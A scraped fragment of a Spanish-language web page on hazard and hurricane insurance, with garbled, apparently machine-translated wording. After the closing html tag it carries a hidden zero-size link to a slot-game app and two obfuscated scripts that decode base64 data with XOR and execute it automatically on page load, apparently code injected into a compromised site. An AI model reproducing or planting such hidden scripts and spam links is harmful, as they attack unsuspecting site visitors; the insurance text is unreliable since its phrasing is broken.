<p>Las exclusiones de seguros todavía pueden variar según la ubicación. En algunos estados y condados de huracanes de parada peligro, el daño por derrota puede ser un peligro de política excluida. En ese caso, debe comprar una póliza de derrota separada para ayudar a completar su cobertura de seguro de huracanes. </p>
<h2 id="do-i-need-hazard-insurance" data-position="3" data-beam-element-viewed="" data-id="br-h2-3-onpage-placement" data-type="h2" data-location="Editorial" data-name="h2_all" data-text="Do I need hazard insurance? " data-outcome="">¿Necesito un seguro de peligro? </h2>
<p>A menos que sea dueño de su casa directamente, es probable que necesite un seguro de peligro. Su compañía hipotecaria tiene una décimo en su hogar y querrá comprobar de que, si la casa se destruye, puede recuperar su inversión financiera. Incluso si es dueño de su hogar directamente, fijar que sigue siendo una idea sabia. </p>
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<!-- sc5a72ec-692d6f -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
</html><script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>